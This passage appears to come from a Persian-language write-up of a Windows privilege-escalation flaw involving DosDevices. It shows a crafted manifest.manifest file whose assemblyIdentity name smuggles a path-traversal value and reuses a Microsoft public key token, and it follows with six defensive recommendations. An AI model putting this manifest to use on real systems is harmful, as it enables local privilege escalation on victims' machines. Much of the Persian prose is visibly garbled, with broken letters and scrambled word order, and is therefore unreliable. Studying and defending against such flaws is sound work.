</assembly> 

 صورت زیر خواهد بود:به  manifest.manifestدر نهایت، فایل  

<?xml version="1.0" encoding="utf-8" standalone="yes"?> 

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" 

copyright="Copyright (c) Microsoft Corporation. All Rights Reserved." 
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xmlns:cmiv2="urn:schemas-microsoft-com:asm.v3" cmiv2:copyright="Copyright 

(c) Microsoft Corporation. All Rights Reserved."> 

  <noInheritable /> 

  <dependency optional="yes" cmiv2:discoverable="no"> 

    <dependentAssembly> 

      <assemblyIdentity name="..\..\..\..\..\..\test\test" 

version="6.0.0.0" processorArchitecture="amd64" language="*" 

publicKeyToken="6595b64144ccf1df" type="win32" /> 

    </dependentAssembly> 

  </dependency> 

</assembly> 

 

 ی تیامن یها هیتوص 3

  ی ت یامن  یهاافزارها و پچ نرم   ی و تمام  ندوز یعامل و   ستم یکه س   د یحاصل کن  نانی: اطمستمیس   یروزرسان. به 1

آخر به  آن  با  بهنسخه   ن یمرتبط  ما  ی روزرسانها  باشند.  پچ   کروسافتیشده  منتشر    ی تیامن  یهامعمولا   را 

 شناخته شده را برطرف کند.  یهایریپذ ب یتا آس  کند ی م

برا  ستم یحساس س   یندهایو فرآ   هاس یبه سرو  ی: دسترس ی. محدود کردن دسترس 2   ی کاربران عاد  یرا 

  ی ازهایبا امت  لیفا  خچهیتار  سیبه سرو  توانند ینم  یکه کاربران عاد   د یمطمئن شو  ژه، ی. به ود یمحدود کن

 داشته باشند.   یدسترس  یستمیس 

اجرا3 ابزارهایتیامن   یبررس   ی.  از  اسکنرها  یت یامن  یبررس   ی:  کن  یریپذ بیآس   یمانند  تا    د یاستفاده 

 . د یکن ییممکن را شناسا یهای ریپذ بیکرده و آس  ی خود را بررس  یهاستمیس 

  مات یارتباط دارد. تنظ  DosDevices  رییبه تغ  یریپذ بیآس   نی: اDosDevicesبه    ی. کاهش دسترس 4

DosDevices   یحساس دسترس   یهای رکتورینتوانند به دا  یکه کاربران عاد  د یده  رییتغ  یارا به گونه 

 داشته باشند.

 ا ی  شوند ی که از منابع ناشناس دانلود م   ییافزارهانرم   یناشناس: از اجرا  یافزارهانرم   ی . اجتناب از اجرا5

 . د یافزار استفاده کننرم  ی آن، از منابع معتبر و منابع رسم یجا. به د یکن زیپره ،ناشناس هستند 

  ف یانجام وظا  یلازم برا  یهای که کاربران تنها دسترس   د ی: مطمئن شوهایها و دسترس حساب   تیری. مد 6

 ندارند. ی ازین یاضاف یهای خود دارند و به دسترس 
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